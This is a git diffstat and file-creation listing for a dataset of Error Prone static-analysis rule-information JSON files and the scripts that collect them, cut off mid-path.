.../checkers/JUnit4EmptyMethods.json | 94 ++ .../checkers/JUnit4SetUpNotRun.json | 62 + .../checkers/JUnit4TearDownNotRun.json | 46 + .../checkers/JUnit4TestNotRun.json | 558 +++++++ .../JUnit4TestsNotRunWithinEnclosed.json | 102 ++ .../checkers/JUnitAmbiguousTestClass.json | 54 + .../checkers/JUnitAssertSameCheck.json | 30 + .../JUnitParameterMethodNotFound.json | 198 +++ .../checkers/JavaLangClash.json | 62 + .../checkers/JavaUtilDateChecker.json | 46 + .../checkers/JdkObsolete.json | 118 ++ .../checkers/LabelledBreakTarget.json | 30 + .../checkers/LambdaFunctionalInterface.json | 70 + .../checkers/LiteByteStringUtf8.json | 30 + .../checkers/LiteEnumValueOf.json | 38 + .../checkers/LiteProtoToString.json | 78 + .../checkers/LockNotBeforeTry.json | 118 ++ .../checkers/LockOnBoxedPrimitive.json | 70 + .../LockOnNonEnclosingClassLiteral.json | 30 + .../checkers/LogicalAssignment.json | 38 + .../checkers/LongDoubleConversion.json | 54 + .../checkers/LongFloatConversion.json | 38 + .../checkers/LongLiteralLowerCaseSuffix.json | 46 + .../checkers/LoopConditionChecker.json | 86 + .../checkers/LoopOverCharArray.json | 22 + .../checkers/LossyPrimitiveCompare.json | 30 + .../checkers/MathAbsoluteNegative.json | 126 ++ .../checkers/MathRoundIntLong.json | 78 + .../MemoizeConstantVisitorStateLookups.json | 62 + .../checkers/MethodCanBeStatic.json | 286 ++++ .../checkers/MisformattedTestData.json | 62 + .../checkers/MisleadingEmptyVarargs.json | 30 + .../checkers/MisleadingEscapedSpace.json | 86 + .../checkers/MissingBraces.json | 38 + .../checkers/MissingCasesInEnumSwitch.json | 166 ++ .../checkers/MissingDefault.json | 110 ++ .../checkers/MissingFail.json | 182 +++ .../checkers/MissingImplementsComparable.json | 46 + .../checkers/MissingOverride.json | 94 ++ .../checkers/MissingRefasterAnnotation.json | 22 + .../checkers/MissingSuperCall.json | 174 ++ .../checkers/MissingTestCall.json | 78 + .../checkers/MisusedDayOfYear.json | 54 + .../checkers/MisusedWeekYear.json | 46 + .../checkers/MixedArrayDimensions.json | 54 + .../checkers/MixedDescriptors.json | 30 + .../checkers/MixedMutabilityReturnType.json | 150 ++ .../checkers/MockIllegalThrows.json | 70 + .../checkers/MockNotUsedInProduction.json | 118 ++ .../checkers/MockitoDoSetup.json | 54 + .../checkers/MockitoUsage.json | 78 + .../checkers/ModifiedButNotUsed.json | 142 ++ .../ModifyCollectionInEnhancedForLoop.json | 46 + .../ModifySourceCollectionInStream.json | 30 + .../ModifyingCollectionWithItself.json | 30 + .../checkers/MultiVariableDeclaration.json | 94 ++ .../checkers/MultimapKeys.json | 46 + .../MultipleParallelOrSequentialCalls.json | 38 + .../checkers/MultipleTopLevelClasses.json | 70 + .../MultipleUnaryOperatorsInMethodCall.json | 30 + .../checkers/MustBeClosedChecker.json | 70 + .../checkers/MutableGuiceModule.json | 46 + .../checkers/MutablePublicArray.json | 126 ++ .../checkers/NCopiesOfChar.json | 30 + .../checkers/NamedLikeContextualKeyword.json | 118 ++ .../checkers/NarrowCalculation.json | 78 + .../checkers/NarrowingCompoundAssignment.json | 358 +++++ .../checkers/NegativeBoolean.json | 54 + .../checkers/NegativeCharLiteral.json | 78 + .../checkers/NestedInstanceOfConditions.json | 38 + .../checkers/NewFileSystem.json | 30 + .../checkers/NoAllocationChecker.json | 30 + .../Rule Information/checkers/NonApiType.json | 166 ++ .../checkers/NonAtomicVolatileUpdate.json | 30 + .../checkers/NonCanonicalStaticImport.json | 54 + .../NonCanonicalStaticMemberImport.json | 62 + .../checkers/NonCanonicalType.json | 126 ++ .../checkers/NonFinalCompileTimeConstant.json | 62 + .../checkers/NonFinalStaticField.json | 134 ++ .../checkers/NonOverridingEquals.json | 126 ++ .../checkers/NonRuntimeAnnotation.json | 30 + .../checkers/NullOptional.json | 54 + .../checkers/NullTernary.json | 70 + .../checkers/NullableConstructor.json | 46 + .../checkers/NullableOnContainingClass.json | 70 + .../checkers/NullableOptional.json | 86 + .../checkers/NullableVoid.json | 62 + .../checkers/ObjectEqualsForPrimitives.json | 102 ++ .../checkers/ObjectToString.json | 46 + .../checkers/ObjectsHashCodePrimitive.json | 118 ++ .../checkers/OperatorPrecedence.json | 86 + .../checkers/OptionalEquality.json | 62 + .../checkers/OptionalMapToOptional.json | 62 + .../checkers/OptionalMapUnusedValue.json | 70 + .../checkers/OptionalNotPresent.json | 78 + .../checkers/OptionalOfRedundantMethod.json | 222 +++ .../checkers/OrphanedFormatString.json | 70 + .../checkers/OutlineNone.json | 46 + .../checkers/OverrideThrowableToString.json | 46 + .../Rule Information/checkers/Overrides.json | 78 + ...ethodInconsistentArgumentNamesChecker.json | 46 + .../checkers/PackageInfo.json | 30 + .../checkers/PackageLocation.json | 78 + .../checkers/ParameterComment.json | 102 ++ .../checkers/ParameterName.json | 374 +++++ .../ParametersButNotParameterized.json | 38 + .../checkers/PatternMatchingInstanceof.json | 262 +++ .../PreconditionsCheckNotNullRepeated.json | 38 + .../PreconditionsInvalidPlaceholder.json | 30 + .../checkers/PreferInstanceofOverGetKind.json | 62 + .../checkers/PreferredInterfaceType.json | 438 +++++ .../PrimitiveArrayPassedToVarargsMethod.json | 30 + .../checkers/PrimitiveAtomicReference.json | 38 + .../PrivateConstructorForUtilityClass.json | 198 +++ .../PrivateSecurityContractProtoAccess.json | 38 + .../ProtectedMembersInFinalClass.json | 54 + .../ProtoBuilderReturnValueIgnored.json | 46 + .../ProtoStringFieldReferenceEquality.json | 30 + .../checkers/ProtoTruthMixedDescriptors.json | 46 + .../checkers/ProtocolBufferOrdinal.json | 30 + ...ublicApiNamedStreamShouldReturnStream.json | 70 + .../checkers/RandomModInteger.json | 30 + .../checkers/ReachabilityFenceUsage.json | 38 + .../checkers/RedundantControlFlow.json | 70 + .../checkers/RedundantOverride.json | 118 ++ .../checkers/RedundantSetterCall.json | 70 + .../checkers/RedundantThrows.json | 46 + .../checkers/ReferenceEquality.json | 206 +++ .../checkers/RemoveUnusedImports.json | 182 +++ .../checkers/RequiredModifiersChecker.json | 102 ++ .../checkers/RestrictedApiChecker.json | 166 ++ ...ctiveOperationExceptionAsLinkageError.json | 30 + .../ReturnAtTheEndOfVoidFunction.json | 70 + .../checkers/ReturnValueIgnored.json | 334 ++++ .../checkers/ReturnsNullCollection.json | 30 + .../checkers/RobolectricShadowDirectlyOn.json | 22 + .../Rule Information/checkers/RuleNotRun.json | 54 + .../checkers/RxReturnValueIgnored.json | 94 ++ .../checkers/SameNameButDifferent.json | 78 + .../checkers/SelfAlwaysReturnsThis.json | 142 ++ .../checkers/SelfAssertion.json | 78 + .../checkers/SelfAssignment.json | 46 + .../checkers/SelfComparison.json | 30 + .../Rule Information/checkers/SelfEquals.json | 62 + .../Rule Information/checkers/SelfSet.json | 30 + .../checkers/SetUnrecognized.json | 38 + .../checkers/ShortCircuitBoolean.json | 22 + .../checkers/ShouldHaveEvenArgs.json | 46 + .../checkers/SizeGreaterThanOrEqualsZero.json | 30 + .../StatementSwitchToExpressionSwitch.json | 774 +++++++++ .../StaticAssignmentInConstructor.json | 46 + .../checkers/StaticAssignmentOfThrowable.json | 94 ++ .../checkers/StaticMockMember.json | 46 + .../StaticQualifiedUsingExpression.json | 78 + .../checkers/StreamResourceLeak.json | 102 ++ .../checkers/StreamToIterable.json | 46 + .../checkers/StreamToString.json | 46 + .../checkers/StringBuilderInitWithChar.json | 30 + .../checkers/StringCaseLocaleUsage.json | 46 + .../checkers/StringCharset.json | 30 + .../checkers/StringConcatToTextBlock.json | 102 ++ .../checkers/StringFormatWithLiteral.json | 174 ++ .../checkers/StringSplitter.json | 174 ++ .../checkers/StronglyTypeByteString.json | 46 + .../checkers/SubstringOfZero.json | 78 + .../Rule Information/checkers/SunApi.json | 38 + .../checkers/SuperCallToObjectMethod.json | 70 + .../checkers/SuppressWarningsDeprecated.json | 30 + .../SuppressWarningsWithoutExplanation.json | 70 + .../checkers/SwigMemoryLeak.json | 30 + .../checkers/SwitchDefault.json | 86 + .../checkers/SymbolToString.json | 30 + .../checkers/SystemConsoleNull.json | 30 + .../checkers/SystemExitOutsideMain.json | 110 ++ .../Rule Information/checkers/SystemOut.json | 30 + .../checkers/TestExceptionChecker.json | 126 ++ .../TestParametersNotInitialized.json | 78 + .../checkers/TheoryButNoTheories.json | 38 + .../checkers/ThreadJoinLoop.json | 38 + .../checkers/ThreadLocalUsage.json | 46 + .../checkers/ThreeLetterTimeZoneID.json | 86 + .../ThrowIfUncheckedKnownChecked.json | 30 + .../ThrowIfUncheckedKnownUnchecked.json | 62 + .../Rule Information/checkers/ThrowNull.json | 30 + .../checkers/ThrowSpecificExceptions.json | 54 + .../checkers/ThrowsUncheckedException.json | 54 + .../checkers/ToStringReturnsNull.json | 62 + .../checkers/TooManyParameters.json | 86 + .../checkers/TraditionalSwitchExpression.json | 46 + .../checkers/TransientMisuse.json | 30 + .../checkers/TreeToString.json | 46 + .../checkers/TruthAssertExpected.json | 30 + .../checkers/TruthConstantAsserts.json | 30 + .../TruthContainsExactlyElementsInUsage.json | 134 ++ .../checkers/TruthGetOrDefault.json | 38 + .../checkers/TryFailRefactoring.json | 150 ++ .../checkers/TryFailThrowable.json | 30 + .../checkers/TryWithResourcesVariable.json | 38 + .../checkers/TypeEqualsChecker.json | 30 + .../checkers/TypeNameShadowing.json | 142 ++ .../checkers/TypeParameterNaming.json | 142 ++ .../checkers/TypeParameterQualifier.json | 38 + .../checkers/TypeParameterShadowing.json | 134 ++ .../TypeParameterUnusedInFormals.json | 134 ++ .../checkers/TypeToString.json | 30 + .../checkers/URLEqualsHashCode.json | 30 + .../checkers/UndefinedEquals.json | 126 ++ .../checkers/UngroupedOverloads.json | 166 ++ .../UnicodeDirectionalityCharacters.json | 38 + .../checkers/UnicodeEscape.json | 86 + .../checkers/UnicodeInCode.json | 86 + .../checkers/UnnecessarilyFullyQualified.json | 134 ++ .../checkers/UnnecessarilyVisible.json | 86 + .../checkers/UnnecessaryAnonymousClass.json | 62 + .../checkers/UnnecessaryAssignment.json | 158 ++ .../checkers/UnnecessaryAsync.json | 94 ++ .../checkers/UnnecessaryBoxedAssignment.json | 22 + .../checkers/UnnecessaryBoxedVariable.json | 62 + .../checkers/UnnecessaryBreakInSwitch.json | 70 + .../checkers/UnnecessaryCopy.json | 70 + .../UnnecessaryDefaultInEnumSwitch.json | 278 ++++ .../checkers/UnnecessaryFinal.json | 20 + .../checkers/UnnecessaryLambda.json | 134 ++ .../UnnecessaryLongToIntConversion.json | 102 ++ .../UnnecessaryMethodInvocationMatcher.json | 54 + .../checkers/UnnecessaryMethodReference.json | 118 ++ .../checkers/UnnecessaryOptionalGet.json | 102 ++ .../checkers/UnnecessaryParentheses.json | 142 ++ .../checkers/UnnecessaryQualifier.json | 110 ++ .../checkers/UnnecessarySetDefault.json | 30 + .../checkers/UnnecessaryStaticImport.json | 54 + .../checkers/UnnecessaryStringBuilder.json | 70 + .../checkers/UnnecessaryTestMethodPrefix.json | 78 + .../checkers/UnnecessaryTypeArgument.json | 70 + .../checkers/UnsafeFinalization.json | 78 + .../checkers/UnsafeLocaleUsage.json | 70 + .../UnsafeReflectiveConstructionCast.json | 54 + .../UnsynchronizedOverridesSynchronized.json | 78 + .../checkers/UnusedAnonymousClass.json | 78 + .../UnusedCollectionModifiedInPlace.json | 46 + .../checkers/UnusedException.json | 126 ++ .../checkers/UnusedLabel.json | 38 + .../checkers/UnusedMethod.json | 230 +++ .../checkers/UnusedNestedClass.json | 126 ++ .../checkers/UnusedTypeParameter.json | 70 + .../checkers/UnusedVariable.json | 654 ++++++++ .../checkers/UseCorrectAssertInTests.json | 198 +++ .../checkers/UseEnumSwitch.json | 38 + .../Rule Information/checkers/VarChecker.json | 230 +++ .../checkers/VarTypeName.json | 30 + .../checkers/VariableNameSameAsType.json | 86 + .../Rule Information/checkers/Varifier.json | 94 ++ .../Rule Information/checkers/VoidUsed.json | 38 + .../checkers/WaitNotInLoop.json | 22 + .../checkers/WildcardImport.json | 166 ++ .../checkers/WithSignatureDiscouraged.json | 62 + .../Rule Information/checkers/WrongOneof.json | 20 + .../Rule Information/checkers/XorPower.json | 46 + .../checkers/YodaCondition.json | 118 ++ .../BinderIdentityRestoredDangerously.json | 30 + .../android/BundleDeserializationCast.json | 126 ++ .../checkers/android/FragmentInjection.json | 150 ++ .../android/FragmentNotInstantiable.json | 46 + .../checkers/android/HardCodedSdCardPath.json | 38 + .../checkers/android/IsLoggableTagLength.json | 110 ++ .../android/MislabeledAndroidString.json | 54 + .../checkers/android/ParcelableCreator.json | 30 + .../RectIntersectReturnValueIgnored.json | 30 + .../StaticOrDefaultInterfaceMethod.json | 46 + .../android/WakelockReleasedDangerously.json | 158 ++ .../apidiff/AndroidJdkLibsChecker.json | 134 ++ .../checkers/apidiff/Java8ApiChecker.json | 54 + .../ArgumentSelectionDefectChecker.json | 134 ++ .../AssertEqualsArgumentOrderChecker.json | 126 ++ .../AutoValueConstructorOrderChecker.json | 38 + .../checkreturnvalue/BuilderReturnThis.json | 30 + .../CanIgnoreReturnValueSuggester.json | 358 +++++ .../NoCanIgnoreReturnValueOnClasses.json | 102 ++ .../UnnecessarilyUsedValue.json | 38 + .../UsingJsr305CheckReturnValue.json | 38 + .../CollectionIncompatibleType.json | 158 ++ .../CollectionUndefinedEquality.json | 54 + .../CompatibleWithMisuse.json | 70 + .../IncompatibleArgumentType.json | 62 + .../JUnitIncompatibleType.json | 94 ++ .../TruthIncompatibleType.json | 358 +++++ .../flogger/FloggerArgumentToString.json | 46 + .../checkers/flogger/FloggerFormatString.json | 62 + .../checkers/flogger/FloggerLogString.json | 30 + .../checkers/flogger/FloggerLogVarargs.json | 38 + .../checkers/flogger/FloggerLogWithCause.json | 54 + .../flogger/FloggerMessageFormat.json | 38 + .../flogger/FloggerRedundantIsEnabled.json | 38 + .../flogger/FloggerRequiredModifiers.json | 134 ++ .../flogger/FloggerSplitLogStatement.json | 38 + .../flogger/FloggerStringConcatenation.json | 54 + .../checkers/flogger/FloggerWithCause.json | 38 + .../checkers/flogger/FloggerWithoutCause.json | 38 + .../formatstring/AnnotateFormatMethod.json | 70 + .../checkers/formatstring/FormatString.json | 398 +++++ .../FormatStringAnnotationChecker.json | 126 ++ .../formatstring/InlineFormatString.json | 94 ++ .../LenientFormatStringValidation.json | 62 + ...AssistedInjectAndInjectOnConstructors.json | 30 + ...istedInjectAndInjectOnSameConstructor.json | 30 + .../checkers/inject/AutoFactoryAtInject.json | 30 + .../checkers/inject/CloseableProvides.json | 30 + .../InjectOnConstructorOfAbstractClass.json | 54 + .../inject/InjectOnMemberAndConstructor.json | 30 + .../InjectedConstructorAnnotations.json | 46 + .../InvalidTargetingOnScopingAnnotation.json | 30 + .../inject/JavaxInjectOnAbstractMethod.json | 30 + .../inject/JavaxInjectOnFinalField.json | 30 + .../inject/MisplacedScopeAnnotations.json | 70 + .../inject/MissingRuntimeRetention.json | 62 + .../MoreThanOneInjectableConstructor.json | 30 + .../checkers/inject/MoreThanOneQualifier.json | 30 + .../MoreThanOneScopeAnnotationOnClass.json | 30 + ...verlappingQualifierAndScopeAnnotation.json | 30 + .../QualifierOrScopeOnInjectMethod.json | 38 + .../checkers/inject/QualifierWithTypeUse.json | 30 + ...eAnnotationOnInterfaceOrAbstractClass.json | 30 + .../dagger/AndroidInjectionBeforeSuper.json | 30 + .../EmptySetMultibindingContributions.json | 22 + ...teConstructorForNoninstantiableModule.json | 78 + .../checkers/inject/dagger/ProvidesNull.json | 94 ++ .../inject/dagger/RefersToDaggerCodegen.json | 20 + .../checkers/inject/dagger/ScopeOnModule.json | 46 + .../checkers/inject/dagger/UseBinds.json | 78 + .../inject/guice/AssistedInjectScoping.json | 30 + .../inject/guice/AssistedParameters.json | 30 + .../guice/BindingToUnqualifiedCommonType.json | 30 + .../inject/guice/InjectOnFinalField.json | 30 + .../guice/OverridesGuiceInjectableMethod.json | 30 + .../guice/OverridesJavaxInjectableMethod.json | 30 + .../guice/ProvidesMethodOutsideOfModule.json | 30 + .../checkers/inlineme/Inliner.json | 342 ++++ .../checkers/inlineme/Suggester.json | 350 ++++ .../checkers/inlineme/Validator.json | 334 ++++ .../checkers/javadoc/AlmostJavadoc.json | 110 ++ .../checkers/javadoc/EmptyBlockTag.json | 134 ++ .../checkers/javadoc/EscapedEntity.json | 46 + .../checkers/javadoc/InheritDoc.json | 54 + .../checkers/javadoc/InvalidBlockTag.json | 78 + .../checkers/javadoc/InvalidInlineTag.json | 110 ++ .../checkers/javadoc/InvalidLink.json | 102 ++ .../checkers/javadoc/InvalidParam.json | 118 ++ .../checkers/javadoc/InvalidSnippet.json | 30 + .../checkers/javadoc/InvalidThrows.json | 46 + .../checkers/javadoc/InvalidThrowsLink.json | 30 + .../checkers/javadoc/MalformedInlineTag.json | 54 + .../checkers/javadoc/MissingSummary.json | 118 ++ .../checkers/javadoc/NotJavadoc.json | 86 + .../checkers/javadoc/ReturnFromVoid.json | 30 + .../checkers/javadoc/UnescapedEntity.json | 126 ++ .../javadoc/UnrecognisedJavadocTag.json | 38 + .../checkers/javadoc/UrlInSee.json | 30 + .../nullness/AddNullMarkedToPackageInfo.json | 38 + .../nullness/DereferenceWithNullBranch.json | 70 + .../nullness/EqualsBrokenForNull.json | 46 + .../nullness/EqualsMissingNullable.json | 86 + .../checkers/nullness/ExtendsObject.json | 38 + .../nullness/FieldMissingNullable.json | 238 +++ .../nullness/MultipleNullnessAnnotations.json | 62 + .../NullArgumentForNonNullParameter.json | 134 ++ .../checkers/nullness/NullablePrimitive.json | 70 + .../nullness/NullablePrimitiveArray.json | 62 + .../nullness/NullableTypeParameter.json | 38 + .../checkers/nullness/NullableWildcard.json | 38 + .../nullness/ParameterMissingNullable.json | 238 +++ .../nullness/ReturnMissingNullable.json | 894 +++++++++++ .../nullness/UnnecessaryCheckNotNull.json | 78 + .../checkers/nullness/UnsafeWildcard.json | 166 ++ .../nullness/VoidMissingNullable.json | 158 ++ .../overloading/InconsistentOverloads.json | 86 + .../threadsafety/DoubleCheckedLocking.json | 70 + .../threadsafety/GuardedByChecker.json | 662 ++++++++ .../ImmutableAnnotationChecker.json | 118 ++ .../threadsafety/ImmutableChecker.json | 1414 +++++++++++++++++ .../threadsafety/ImmutableEnumChecker.json | 102 ++ .../threadsafety/ImmutableRefactoring.json | 46 + .../threadsafety/StaticGuardedByInstance.json | 62 + .../SynchronizeOnNonFinalField.json | 62 + .../threadsafety/ThreadPriorityCheck.json | 38 + .../threadsafety/ThreadSafeChecker.json | 550 +++++++ .../checkers/time/DateChecker.json | 142 ++ .../checkers/time/DurationFrom.json | 30 + .../time/DurationGetTemporalUnit.json | 54 + .../checkers/time/DurationTemporalUnit.json | 94 ++ .../checkers/time/DurationToLongTimeUnit.json | 70 + .../checkers/time/FromTemporalAccessor.json | 86 + .../checkers/time/InstantTemporalUnit.json | 54 + .../time/InvalidJavaTimeConstant.json | 78 + .../time/JavaDurationGetSecondsGetNano.json | 158 ++ .../JavaDurationGetSecondsToToSeconds.json | 30 + .../checkers/time/JavaDurationWithNanos.json | 38 + .../time/JavaDurationWithSeconds.json | 38 + .../time/JavaInstantGetSecondsGetNano.json | 150 ++ .../time/JavaLocalDateTimeGetNano.json | 30 + .../checkers/time/JavaLocalTimeGetNano.json | 30 + .../checkers/time/JavaPeriodGetDays.json | 150 ++ .../time/JavaTimeDefaultTimeZone.json | 182 +++ .../checkers/time/JodaConstructors.json | 134 ++ .../checkers/time/JodaDateTimeConstants.json | 38 + .../checkers/time/JodaDurationWithMillis.json | 70 + .../checkers/time/JodaInstantWithMillis.json | 70 + .../checkers/time/JodaNewPeriod.json | 30 + .../checkers/time/JodaPlusMinusLong.json | 110 ++ .../time/JodaTimeConverterManager.json | 30 + .../checkers/time/JodaToSelf.json | 62 + .../time/JodaWithDurationAddedLong.json | 86 + .../time/LocalDateTemporalAmount.json | 62 + .../checkers/time/PeriodFrom.json | 30 + .../checkers/time/PeriodGetTemporalUnit.json | 54 + .../checkers/time/PeriodTimeMath.json | 38 + .../checkers/time/PreferJavaTimeOverload.json | 222 +++ .../time/ProtoDurationGetSecondsGetNano.json | 182 +++ .../time/ProtoTimestampGetSecondsGetNano.json | 158 ++ .../checkers/time/StronglyTypeTime.json | 126 ++ .../time/TemporalAccessorGetChronoField.json | 54 + .../time/TimeInStaticInitializer.json | 38 + .../time/TimeUnitConversionChecker.json | 102 ++ .../checkers/time/TimeUnitMismatch.json | 78 + .../checkers/time/ZoneIdOfZ.json | 54 + .../Rule Information/groups/android.json | 17 + .../Rule Information/groups/apidiff.json | 8 + .../groups/argumentselectiondefects.json | 9 + .../Rule Information/groups/bugpatterns.json | 454 ++++++ .../groups/checkreturnvalue.json | 11 + .../groups/collectionincompatibletype.json | 12 + .../Rule Information/groups/flogger.json | 18 + .../Rule Information/groups/formatstring.json | 11 + .../Rule Information/groups/inject.json | 25 + .../Rule Information/groups/inlineme.json | 9 + .../Rule Information/groups/javadoc.json | 24 + .../Rule Information/groups/nullness.json | 23 + .../Rule Information/groups/overloading.json | 7 + .../Rule Information/groups/threadsafety.json | 16 + .../Rule Information/groups/time.json | 45 + .../main/error-prone-main.json | 6 + .../Rule Information/modules/modules.json | 22 + .../Scripts/error-prone-checkers.py | 175 ++ .../Error-prone/Scripts/error-prone-groups.py | 53 + .../Scripts/error-prone-modules.py | 50 + 632 files changed, 54787 insertions(+) create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ASTHelpersSuggestions.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AddressSelection.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AlreadyChecked.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AlwaysThrows.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AmbiguousMethodReference.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationMirrorToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationPosition.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationValueToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayAsKeyOfSetOrMap.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayEquals.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayFillIncompatibleType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayHashCode.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayRecordComponent.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArraysAsListPrimitiveArray.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertFalse.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertThrowsMultipleStatements.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertionFailureIgnored.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssignmentExpression.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AsyncCallableReturnsNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AsyncFunctionReturnsNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AttemptedNegativeZero.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueBoxedValues.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueBuilderDefaultsInConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueFinalMethods.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueImmutableFields.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueSubclassLeaked.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AvoidObjectArrays.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadAnnotationImplementation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadComparable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadImport.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadInstanceof.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadShiftAmount.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanClassLoader.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanJNDI.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BanSerializableRead.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BareDotMetacharacter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BigDecimalEquals.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BigDecimalLiteralDouble.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BooleanLiteral.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BooleanParameter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BoxedPrimitiveConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BoxedPrimitiveEquality.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BugPatternNaming.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ByteBufferBackingArray.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CacheLoaderNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CannotMockFinalClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CannotMockMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CanonicalDuration.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchAndPrintStackTrace.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchFail.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchingUnchecked.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ChainedAssertionLosesContext.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ChainingConstructorIgnoresParameter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CharacterGetNumericValue.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckNotNullMultipleTimes.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckReturnValue.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CheckedExceptionNotThrown.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassCanBeStatic.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassInitializationDeadlock.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassName.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassNamedLikeTypeParameter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassNewInstance.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClosingStandardOutputStreams.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CollectionToArraySafeParameter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CollectorShouldNotUseState.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparableAndComparator.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparableType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CompareToZero.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparingThisWithNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparisonContractViolated.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparisonOutOfRange.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CompileTimeConstantChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComplexBooleanConstant.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComputeIfAbsentAmbiguousReference.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConditionalExpressionNumericPromotion.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantField.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantOverflow.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantPatternCompile.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DangerousLiteralNullChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DateFormatConstant.json create mode 100644 Raw Data/Static 